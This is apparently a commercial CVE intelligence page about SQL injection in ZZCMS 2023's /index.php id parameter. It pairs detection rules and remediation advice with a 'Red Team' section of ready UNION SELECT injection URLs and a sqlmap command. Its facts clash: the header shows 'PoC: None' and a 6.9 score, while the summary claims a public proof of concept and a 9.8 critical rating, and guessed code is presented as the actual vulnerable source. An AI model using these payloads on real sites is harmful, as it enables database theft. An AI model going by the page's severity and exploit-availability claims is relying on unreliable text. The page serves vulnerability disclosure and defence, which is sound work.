☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-0565

CVE-2025-0565 SQL Injection in Zzcms
📅 PUBLISHED: 2025-01-19 06:00 UTC 🔄 UPDATED: 2026-09-23 20:23 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.42%
👁️
1.42% probability
35.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-0565 is a critical unauthenticated SQL injection vulnerability in ZZCMS 2023. The flaw resides in the /index.php file, where the id parameter is directly concatenated into SQL queries without proper sanitization or parameterization. An attacker can exploit this remotely to extract sensitive data, modify database contents, or potentially achieve remote code execution via stacked queries. No official patch has been released, and a public proof-of-concept (PoC) is available, increasing the risk of widespread exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

The vulnerability is trivial to exploit and requires no authentication, making it a prime target for automated scanning and mass exploitation.

Deep Dive & Mechanics

The vulnerability exists in the id parameter of /index.php. The application likely constructs SQL queries like:

SELECT * FROM articles WHERE id = $_GET['id'];

Without input validation or prepared statements, an attacker can inject SQL commands. For example:

/index.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

This allows extraction of arbitrary data from the database, including user credentials, session tokens, and configuration files. The database user likely has high privileges, enabling file read/write operations and potential command execution via INTO OUTFILE or xp_cmdshell (if MSSQL).

Vulnerable vs. Patched Code

Vulnerable Code (ZZCMS 2023):

// /index.php
$id = $_GET['id'];
$query = "SELECT * FROM articles WHERE id = $id";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

// /index.php
$id = intval($_GET['id']);
$stmt = $conn->prepare("SELECT * FROM articles WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses prepared statements and type casting to prevent injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy ZZCMS 2023 on a local server (e.g., XAMPP, Docker).
  2. Ensure the /index.php endpoint is accessible.

Exploitation Steps:

  1. Basic SQL Injection:

    http://target/index.php?id=1' OR '1'='1
    
  2. Extract Database Version:

    http://target/index.php?id=1 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10--
    
  3. Extract Table Names:

    http://target/index.php?id=1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()--
    
  4. Automated Exploitation with sqlmap:

    sqlmap -u "http://target/index.php?id=1" --batch --dbs
    

Blue Team

Detection Steps:

  1. Monitor web server logs for abnormal id parameter patterns (e.g., UNION, SELECT, OR 1=1).
  2. Deploy a Web Application Firewall (WAF) with SQL injection rules.
  3. Use database activity monitoring to detect anomalous queries.

Hunting Query (Splunk):

index=web_logs uri="/index.php" | regex _raw="id=.*(UNION|SELECT|OR|AND|--|#)"

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /index.php?id= containing SQL keywords (UNION, SELECT, OR, AND, --, #).
    • Outbound database connections from the web server to unknown IPs.
  • File IOCs:
    • Unexpected files in the web root (e.g., shell.php, cmd.php).
    • Modified database entries (e.g., admin user password hashes).
  • Log IOCs:
    • Web server logs showing repeated id parameter manipulation.
    • Database logs showing UNION SELECT or INTO OUTFILE statements.

Detection Engineering

YARA Rule

rule CVE_2025_0565_SQLi_ZZCMS {
    meta:
        description = "Detects SQL injection attempts targeting ZZCMS /index.php id parameter"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "CVE-2025-0565"
    strings:
        $sqli1 = "id=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "OR" nocase
        $sqli5 = "AND" nocase
        $sqli6 = "--" nocase
        $sqli7 = "#" nocase
    condition:
        all of ($sqli1, $sqli2, $sqli3) or
        all of ($sqli1, $sqli4, $sqli5) or
        all of ($sqli1, $sqli6) or
        all of ($sqli1, $sqli7)
}

Sigma Rule

title: CVE-2025-0565 SQL Injection in ZZCMS /index.php
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against ZZCMS /index.php id parameter
author: Valters IT
date: 2025/02/20
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "id=1'"
            - "id=1 OR"
            - "id=1 AND"
            - "id=1 UNION"
            - "id=1--"
            - "id=1#"
    condition: selection
falsepositives:
    - Legitimate use of special characters in id parameter (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-0565 SQL Injection Attempt - ZZCMS /index.php";
    flow:to_server,established;
    content:"/index.php"; http_uri;
    content:"id="; http_uri;
    pcre:"/id=.*(UNION|SELECT|OR|AND|--|#)/Ui";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

  1. Immediate Actions:

    • Disable the vulnerable /index.php endpoint if not essential.
    • Implement a WAF with SQL injection rules (e.g., ModSecurity with OWASP CRS).
    • Restrict database user privileges (e.g., no FILE or CREATE privileges).
  2. Long-term Fix:

    • Upgrade to a patched version of ZZCMS (if available) or migrate to a supported CMS.
    • Apply input validation and parameterized queries to all user-supplied data.
    • Conduct a full security audit of the application.
  3. Monitoring:

    • Enable detailed logging for web and database servers.
    • Set up alerts for SQL injection patterns.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-0565/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.